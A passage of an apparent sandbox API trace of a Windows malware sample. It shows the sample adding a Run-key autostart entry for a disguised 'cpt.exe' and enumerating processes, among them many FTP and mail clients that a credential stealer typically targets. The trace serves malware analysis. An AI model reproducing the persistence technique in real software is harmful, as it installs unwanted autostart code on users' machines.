Flags=0x0, Size=0x26) returned 0x7cad78 [0120.801] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x28) returned 0x7cada8 [0120.801] GetLastError () returned 0x57 [0120.801] SetLastError (dwErrCode=0x57) [0120.801] GetLastError () returned 0x57 [0120.801] SetLastError (dwErrCode=0x57) [0120.801] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xdc) returned 0x7cfe98 [0120.801] GetLastError () returned 0x57 [0120.801] SetLastError (dwErrCode=0x57) [0120.802] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6ca) returned 0x7cff80 [0120.802] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cff80) returned 1 [0120.802] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cff80 | out: hHeap=0x7b0000) returned 1 [0120.802] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430) returned 1 [0120.802] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430 | out: hHeap=0x7b0000) returned 1 [0120.802] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdb0) returned 1 [0120.802] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdb0 | out: hHeap=0x7b0000) returned 1 [0120.802] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8) returned 1 [0120.802] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8 | out: hHeap=0x7b0000) returned 1 [0120.802] GetLastError () returned 0x57 [0120.802] SetLastError (dwErrCode=0x57) [0120.802] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2a) returned 0x7cb430 [0120.802] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x26) returned 0x7cada8 [0120.802] GetLastError () returned 0x57 [0120.802] SetLastError (dwErrCode=0x57) [0120.802] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x224) returned 0x7cff80 [0120.802] GetLastError () returned 0x57 [0120.802] SetLastError (dwErrCode=0x57) [0120.802] GetLastError () returned 0x57 [0120.802] SetLastError (dwErrCode=0x57) [0120.802] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x28) returned 0x7cadd8 [0120.803] GetLastError () returned 0x57 [0120.803] SetLastError (dwErrCode=0x57) [0120.803] GetLastError () returned 0x57 [0120.803] SetLastError (dwErrCode=0x57) [0120.803] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xdc) returned 0x7cfdb0 [0120.803] GetLastError () returned 0x57 [0120.803] SetLastError (dwErrCode=0x57) [0120.803] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6ca) returned 0x7d01b0 [0120.803] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d01b0) returned 1 [0120.803] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d01b0 | out: hHeap=0x7b0000) returned 1 [0120.803] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430) returned 1 [0120.803] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430 | out: hHeap=0x7b0000) returned 1 [0120.803] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfe98) returned 1 [0120.803] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfe98 | out: hHeap=0x7b0000) returned 1 [0120.803] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cadd8) returned 1 [0120.803] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cadd8 | out: hHeap=0x7b0000) returned 1 [0120.803] GetLastError () returned 0x57 [0120.803] SetLastError (dwErrCode=0x57) [0120.803] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2a) returned 0x7cb430 [0120.803] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8) returned 1 [0120.803] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8 | out: hHeap=0x7b0000) returned 1 [0120.804] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cad78) returned 1 [0120.804] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cad78 | out: hHeap=0x7b0000) returned 1 [0120.804] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb468 [0120.804] GetCurrentThread () returned 0xfffffffe [0120.804] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18fee4, lpExitTime=0x18feec, lpKernelTime=0x18feec, lpUserTime=0x18feec | out: lpCreationTime=0x18fee4, lpExitTime=0x18feec, lpKernelTime=0x18feec, lpUserTime=0x18feec) returned 1 [0120.804] RtlInitializeSListHead (in: ListHead=0x5f0400 | out: ListHead=0x5f0400) [0120.804] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x7cfe98 [0120.804] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb4a0 [0120.804] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x7cfef0 [0120.804] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb4d8 [0120.804] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x7d01b0 [0120.805] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb510 [0120.805] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb548 [0120.805] RtlInitializeConditionVariable () returned 0x5f14a4 [0120.805] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb580 [0120.805] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb5b8 [0120.805] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb5f0 [0120.805] RegCreateKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf013f, lpSecurityAttributes=0x0, phkResult=0x18eb34, lpdwDisposition=0x0 | out: phkResult=0x18eb34*=0x84, lpdwDisposition=0x0) returned 0x0 [0120.805] RegSetValueExA (in: hKey=0x84, lpValueName="5ss5cStart", Reserved=0x0, dwType=0x1, lpData="C:\\Program Files\\Common Files\\System\\cpt.exe", cbData=0x2c | out: lpData="C:\\Program Files\\Common Files\\System\\cpt.exe") returned 0x0 [0120.806] RegCloseKey (hKey=0x84) returned 0x0 [0120.806] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x8c [0120.864] Process32First (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.920] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.921] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.921] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.922] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.922] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.923] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.923] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.924] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.924] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.925] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.925] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.926] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.927] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.928] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.929] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.929] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.930] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.931] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.932] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.933] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.934] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.935] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.935] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.937] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.937] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.938] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.939] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.940] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outputs_extras.exe")) returned 1 [0120.941] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sustainedclassical.exe")) returned 1 [0120.942] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sons.exe")) returned 1 [0120.942] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="catering-methodology-bike.exe")) returned 1 [0120.943] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ultram-cal.exe")) returned 1 [0120.944] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yugoslavia.exe")) returned 1 [0120.945] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="richmond-acid-cindy.exe")) returned 1 [0120.946] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mysql.exe")) returned 1 [0120.947] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vulnerability_remained_qualities.exe")) returned 1 [0120.948] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="recipe.exe")) returned 1 [0120.948] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="grades-employers.exe")) returned 1 [0120.949] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="blonde.exe")) returned 1 [0120.950] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance-accommodation.exe")) returned 1 [0120.951] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hpyu.exe")) returned 1 [0120.952] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="br-thai.exe")) returned 1 [0120.953] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectious.exe")) returned 1 [0120.954] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="chip shareware.exe")) returned 1 [0120.955] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0120.998] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0120.999] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0121.000] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0121.001] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0121.002] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0121.002] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0121.003] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0121.004] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0121.005] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0121.006] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0121.007] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0121.008] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0121.008] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0121.009] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0121.010] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0121.011] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0121.012] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0121.013] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0121.014] Process32Next (in: 